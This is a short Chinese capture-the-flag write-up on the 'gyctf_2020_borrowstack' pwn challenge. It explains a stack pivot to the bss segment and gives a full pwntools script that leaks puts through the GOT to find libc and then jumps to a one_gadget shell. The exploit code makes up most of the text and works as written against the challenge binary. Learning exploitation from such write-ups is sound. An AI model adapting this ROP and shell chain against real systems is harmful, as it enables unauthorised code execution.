gyctf_2020_borrowstack
这是我第一次拿着大佬的exp调试的栈迁移,有许多收获,所以一定要记录下来
流程分析
程序很简单,不过,由于溢出后没有什么可以在运行的了,所以我们需要将栈迁移到bss段中
思路
通过两次的新老leave,将栈迁移到bss段上,不过要尽量往高地址迁移,以免在其又一次运行main函数时候,申请的临时变量的空间会覆盖到了我们的got表中
from pwn import * #p=remote('node3.buuoj.cn',25375) #p=process('./gyctf_2020_borrowstack') p=gdb.debug('./gyctf_2020_borrowstack','b *0x40068F') elf=ELF('./gyctf_2020_borrowstack') libc=ELF('../libc-2.23.so') p.recv() payload=0x60*b'a'+p64(0x601090)+p64(0x400699) p.send(payload) p.recv() #p64(0x4004c9)*0x14 payload=p64(0x4004c9)*0x14+p64(0x400703)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(elf.symbols['main']) p.send(payload) libc_base=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) libc_base=libc_base-libc.symbols['puts'] gdb.attach(p) one_gadget=libc_base+0x4526a payload=b'p'*0x60+b'pppppppp'+p64(one_gadget) p.send(payload) p.interactive()